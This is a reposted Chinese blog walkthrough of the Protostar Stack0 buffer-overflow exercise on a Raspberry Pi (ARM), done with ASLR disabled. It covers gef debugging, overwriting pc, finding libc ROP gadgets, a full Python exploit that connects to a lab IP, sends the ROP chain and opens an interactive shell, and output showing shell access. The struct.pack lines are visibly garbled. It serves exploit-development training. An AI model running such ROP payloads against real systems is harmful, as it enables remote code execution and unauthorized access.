欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

利用树莓派进行ARM缓冲区溢出Exploit练习

程序员文章站 2022-04-02 10:05:42
概述 前段时间,我将Exploit Exercises Protostar系列堆栈练习全部都给编译了一遍,并将这些东西保存在Github上。 由于我对该架构十分熟悉,所以更喜欢在ARM上完...

概述
前段时间,我将Exploit Exercises Protostar系列堆栈练习全部都给编译了一遍,并将这些东西保存在Github上。
由于我对该架构十分熟悉,所以更喜欢在ARM上完成Exploit练习。当我再一次完成Protostar所有练习时,我意识到可能可以将这些挑战一个一个进行分解,接下来我们就来看看Stack0
Exploit
我是在树莓派上进行练习,如果你没有一个能够使用的设备,你也可以设置一个QEMU环境跟着文章进度一起玩耍。在这个练习中我已经将ASLR(地址空间配置随机加载)给禁用了
我使用gef进行调试工作,这款工具对ARM架构的支持非常优秀。使用socat运行二进制文件,所以我们可以进行远程测试。
pi@raspberrypi:~/exploit-exercises-arm/protostar/stack0 $ socat tcp-l:6666,reuseaddr,fork exec:"./stack0"
在GDB中加载二进制文件之后,我们可以使用gef命令在程序的入口点设置一个断点。
gef> entry-break 
[+] Breaking at '{}
0x1044c 'Temporary breakpoint 1 at 0x1044c 
[+] Starting execution
我们可以非常轻松的观察到即将在gets()函数发生的堆栈溢出:
0x00010468 28>:    sub r3, r11, #72    ; 0x48 
0x0001046c 32>:    mov r0, r3 
0x00010470 36>:    bl  0x102e8 
如果我们向gets()函数发送76个字节数据,这会导致一个分段错误。
gef> c 
Continuing. 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
You have changed the 'modified' variables!
Program received signal SIGSEGV, Segmentation fault.
如果我们检查程序的寄存器,会发现似乎我们已经将返回地址给覆盖掉了,现在控制的是pc:
gef> info registers 
r0             0x0    0 
r1             0x0    0 
r2             0x1    1 
r3             0x0    0 
r4             0x0    0 
r5             0x0    0 
r6             0x10324    66340 
r7             0x0    0 
r8             0x0    0 
r9             0x0    0 
r10            0x76fff000    1996484608 
r11            0x41414141    1094795585 
r12            0x2b    43 
sp             0x7efff5b0    0x7efff5b0 
lr             0x76ed1008    1995247624 
pc             0x41414140    0x41414140 
cpsr           0x60000030    1610612784 
由于这不是一个可执行堆栈,我们需要使用ROP来实现代码执行。在主二进制本身几乎没有任何可以用的gadgets,我们不得不将目光转向libc。为了调用system()函数,我们需要新建一个ROP链。使用ROPgadget,我找到了以下gadgets来创建我们的ROP链。
在ARM架构下,参数通过寄存器传递给函数。例如r0会将保留的第一个参数传递给一个给定的函数调用。在我们的这个例子中就是system()函数。
gadget会分别中r0,r4,pc中取出数据。为了继续控制程序执行流程,之后会将gadget放入pc。
0x0007a12c : pop {r0, r4, pc}
第二个gadget仅仅是为了控制Link Register,这会包含system()函数的地址,并且bx lr指令也会调用函数本身。
0x0005cbc8 : pop {r4, r5, r6, r7, lr} ; add sp, sp, #0x10 ; bx lr 
由于已经禁用了ASLR,我们可以抓取libc的基地址并计算出每个gadget的偏移地址。
gef> vmmap 
     Start        End     Offset Perm Path
0x00010000 0x00011000 0x00000000 r-x /home/pi/exploit-exercises-arm/protostar/stack0/stack0 
0x00020000 0x00021000 0x00000000 rw- /home/pi/exploit-exercises-arm/protostar/stack0/stack0 
0x76e66000 0x76f91000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.19.so 
0x76f91000 0x76fa1000 0x0012b000 --- /lib/arm-linux-gnueabihf/libc-2.19.so 
0x76fa1000 0x76fa3000 0x0012b000 r-- /lib/arm-linux-gnueabihf/libc-2.19.so 
0x76fa3000 0x76fa4000 0x0012d000 rw- /lib/arm-linux-gnueabihf/libc-2.19.so 
0x76fa4000 0x76fa7000 0x00000000 rw- 

0x76fba000 0x76fbf000 0x00000000 r-x /usr/lib/arm-linux-gnueabihf/libarmmem.so 
0x76fbf000 0x76fce000 0x00005000 --- /usr/lib/arm-linux-gnueabihf/libarmmem.so 
0x76fce000 0x76fcf000 0x00004000 rw- /usr/lib/arm-linux-gnueabihf/libarmmem.so 
0x76fcf000 0x76fef000 0x00000000 r-x /lib/arm-linux-gnueabihf/ld-2.19.so 
0x76ff5000 0x76ffb000 0x00000000 rw- 
0x76ffb000 0x76ffc000 0x00000000 r-x [sigpage] 
0x76ffc000 0x76ffd000 0x00000000 r-- [vvar] 
0x76ffd000 0x76ffe000 0x00000000 r-x [vdso] 
0x76ffe000 0x76fff000 0x0001f000 r-- /lib/arm-linux-gnueabihf/ld-2.19.so 
0x76fff000 0x77000000 0x00020000 rw- /lib/arm-linux-gnueabihf/ld-2.19.so 
0x7efdf000 0x7f000000 0x00000000 rwx [stack] 
0xffff0000 0xffff1000 0x00000000 r-x [vectors] 
最后,如果我们继续往下看,或许可以获得字符串SHELL=/bin/bash的地址。我们可以索引到这个地址并获取/bin/bash,对于我们来说这将作为system()函数的一个参数。
以下为exploit
import socket 
import sys 
import struct 
import telnetlib
def exploit(): 
    try:
        # Connect to target
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('10.174.90.177', 6666))
        print("[*] Connecting to target (!)")
        # Build payload
        payload = 'A' * 72
        payload += struct.pack(", 0x76EE012C)
        payload += struct.pack(", 0x7efff7f3)
        payload += 'BBBB'
        payload += struct.pack(", 0x76EC2BC8)
        payload += 'CCCC'
        payload += 'DDDD'
        payload += 'EEEE'
        payload += 'FFFF'
        payload += struct.pack(", 0x76e9ffac)
        print("[*] Sending Payload (!)")
        # Send payload
        s.sendall(payload)
        # Interact with the shell
        t = telnetlib.Telnet()
        t.sock = s
        t.interact()
    except socket.errno:
        raise
if __name__ == '__main__': 
    try:
        exploit()
    except KeyboardInterrupt:
        sys.exit(0)
我们来运行试试!
[*] Connecting to target (!)
[*] Sending Payload (!)
id 
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)